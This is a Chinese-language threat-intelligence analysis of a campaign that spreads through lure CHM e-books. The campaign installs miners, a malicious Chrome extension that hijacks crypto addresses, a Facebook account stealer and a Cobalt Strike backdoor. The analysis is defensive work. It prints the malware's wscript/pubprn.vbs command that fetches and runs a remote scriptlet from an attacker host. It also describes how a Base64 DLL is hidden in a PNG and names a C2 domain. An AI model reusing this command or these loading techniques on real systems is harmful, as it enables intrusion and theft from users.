一、概述
近期騰訊御見威脅情報中心捕獲到利用一堆色情類電子書(chm格式)傳播的惡意挖礦病毒,病毒使用一批極具誘惑力的文件名(本文分析樣本使用名為“想不想知道xx之間的秘密.chm”)在網(wǎng)絡(luò)中傳播。

病毒使用執(zhí)行遠程腳本的方法,并結(jié)合白利用,代碼混淆,無文件內(nèi)存裝載等技術(shù)來躲避安全廠商的查殺,受害者一旦打開這些chm格式的電子書,病毒便會隱藏進用戶機器中。
病毒目前行為主要有釋放挖礦病毒,安裝Chrome瀏覽器惡意插件,在用戶交易虛擬加密幣時劫持收款地址,盜取用戶facebook帳號信息,并自動在facebook網(wǎng)站分享若干“小黃書”chm下載鏈接實現(xiàn)蠕蟲式的傳播。

二、樣本分析
chm文檔結(jié)構(gòu)如下圖,運行chm文檔后文檔內(nèi)Load_HTML_CHM0.html內(nèi)混淆的腳本代碼會以命令行”C:\Windows\System32\wscript.exe” /b C:/Windows/System32/Printing_Admin_Scripts/zh-CN/pubprn.vbs 127.0.0.1 script:hxxp://png.realtimenews.tk/chm.sct
來執(zhí)行hxxp://png.realtimenews.tk/chm.sct內(nèi)的遠程腳本。

腳本代碼通過訪問一個外部鏈接的圖片q.png,并查找圖片數(shù)據(jù)中的tEXt,iENd兩個標記,截取tEXt+4位置到iENd-8處的文件內(nèi)容,Base64解碼后存放到Temp目錄以tmpg.Jpg命名,并用Rundll32.exe拉起執(zhí)行,tmpg.Jpg其實為一個帶有導(dǎo)出函數(shù)VoidFunc且加殼的DLL。
截取png中隱藏數(shù)據(jù)

q.png表象上看為一個透明背景中心發(fā)亮的PNG圖片。

q.png文件tEXt+4位置指向了一個BASE64編碼的PE文件內(nèi)容開始位置.

q.png文件iENd-8指向了一個BASE64編碼的PE文件內(nèi)容末尾位置。

Rundll32.exe進一步拉起執(zhí)行tmpg.Jpg

tmpg.Jpg為帶有導(dǎo)出函數(shù)VoidFunc的DLL

被RunDll32拉起的tmpg.Jpg通過執(zhí)行導(dǎo)出函數(shù)VoidFun,然后在內(nèi)存中解密出一段Shellcode,通過CreateThread的方式執(zhí)行起來。
創(chuàng)建線程執(zhí)行Shellcode

Shellcode代碼通過遍歷LDR鏈找到kernel32模塊,然后獲取LoadLibraryA的地址,加載Wininet模塊,然后獲得一系列網(wǎng)絡(luò)操作函數(shù)
InternetConnectA,httpOpenRequestA,httpSendRequestA地址調(diào)用,最終向域名
dazqc4f140wtl.cloudfront.net發(fā)送一個Get網(wǎng)絡(luò)請求,并使用InternetReadFIle來接收網(wǎng)絡(luò)文件數(shù)據(jù)流,請求域名藏在Shellcode的尾部。
Shellcode裝載Wininet模塊

Get請求域名藏在解密后的Shellcode尾部

通過抓包工具可以直接看到,Get請求后服務(wù)器發(fā)送回來的數(shù)據(jù)流有一個明文的PE文件,通過從內(nèi)存Dump出該模塊可知該模塊還是一個DLL,并使用反射式加載的方法,實現(xiàn)該模塊代碼不落地裝載。
病毒Get請求后返回的明文PE文件數(shù)據(jù)流

反射式加載的DLL

觀察該模塊可知為Cobalt Strike生成的DLL后門攻擊模塊,該后門攻擊模塊數(shù)據(jù)交互支持HTTP、HTTPS、DNS和SMB隧道協(xié)議,本次樣本使用HTTP協(xié)議的方式進行通信交互,后門攻擊模塊首先通過異或0×69解密出上線配置信息。
|